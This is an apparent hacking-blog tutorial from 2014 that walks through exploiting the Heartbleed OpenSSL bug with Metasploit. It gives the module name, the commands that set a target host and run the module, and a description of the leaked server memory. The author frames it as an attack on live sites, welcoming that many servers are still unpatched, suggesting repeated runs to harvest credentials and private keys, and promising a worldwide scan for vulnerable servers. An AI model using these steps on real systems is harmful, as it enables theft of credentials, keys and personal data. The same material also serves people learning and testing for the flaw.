Hack Like a Pro: Hacking the Heartbleed Vulnerability

May 6, 2014 04:03 PM
635349637601657739.jpg

Welcome back, my greenhorn hackers!

In recent weeks, the Heartbleed vulnerability of OpenSSL has been dominating the information security headlines. This vulnerability enables an attacker to extract data from the server's memory that may contain authentication credentials, cookies, the servers private key, and personally identifiable info (PII) that could be used for identity theft. As a result, websites around the world have been scrambling to close this hole. Fortunately for us, many still have not, and many may never be closed.

635349637760111895.jpg

Basically, OpenSSL is an encryption library used in HTTPS (secure HTTP). The idea is that any data traveling over this secured version of HTTP should be secure and encrypted. During communication, OpenSSL uses a "heartbeat" that echoes back data to verify that the data was received correctly. It's kind of like one machine telling the other, "Yes, I got that data and you can send more now."

The Heartbleed vulnerability enables a hacker to trick OpenSSL by sending a single byte of data while telling the server it sent 64K bytes of data. The server will then send back 64K bytes of data to be checked and echoed back. The server will then respond with 64K of random data from its memory.

In this tutorial, I'll show you a simple exploit for getting that OpenSSL to spill the contents of its memory and possibly give us the user's credentials and other information.

Step 1: Update Metasploit

The first step is to update Metasploit to get the new auxiliary module for Heartbleed. Type:

  • kali > msfupdate
635346201927140453.jpg

Metasploit will then go through the long and slow process of updating its modules and framework. Be patient here, it takes awhile.

635346202126982503.jpg

When you are finally returned to the Kali prompt, the update has completed.

635346204487607867.jpg

Step 2: Start Metasploit

Now, we need to start the Metasploit console. At any terminal prompt, type:

  • kali > msfconsole

You should be greeted with a screen like that below.

635346207230263749.jpg

Step 3: Find Heartbleed

Now, we need to find the new Heartbleed module. We can use the built-in search feature in Metasploit. Type:

  • search heartbleed

This should bring up two auxiliary modules for Heartbleed. Select the first one as I've highlighted below.

635346210002140479.jpg

Step 4: Use Auxiliary Module

Next, we need to load this payload. Simply type:

  • use auxiliary/scanner/ssl/openssl_heartbleed

This will load the heartbleed module.

635346211136828254.jpg

Whenever I am using a new module, I like to look at the info page. Once we have loaded the module, type:

  • msf > info

As we can see in the screenshot below, this reveals the options that need to set in order to use this module and a description of the module.

635346213080578191.jpg

Step 5: Set Options

Although this module has numerous options, the critical one is RHOSTS (notice the plural here). Let's set it to a target website I set up on my network that is still vulnerable to Heartbleed.

  • msf > set RHOSTS 192.168.1.169
635346217348701162.jpg

Step 6: Run the Module

Finally, set the option 'verbose" to "true". This will provide us with verbose output.

  • msf > set verbose true

And now let's run it:

  • msf > run

As you can see in the screenshot below, the server leaked about 64K bytes of what was in its memory.

635346220038545084.jpg

Step 7: Success

If credentials, personally identifiable information (PII), or the server's private key had been in memory, they would have leaked out as well. Of course, we could set up this Heartbleed scanner to run repeatedly to gather the info in memory at a continual basis, eventually gaining access to all the info that traversed RAM.

In my next Heartbleed post, we will start working on a scanner script to scan the world for websites and servers still vulnerable to the Heartbleed vulnerability, so make sure to come back. While you're waiting, you can use your spare time to increase your skills in Metasploit by knowing all of the commands and hacking scripts available.

Heartbleed red code and Heartbleed hearts images via Shutterstock

Comments

No Comments Exist

Be the first, drop a comment!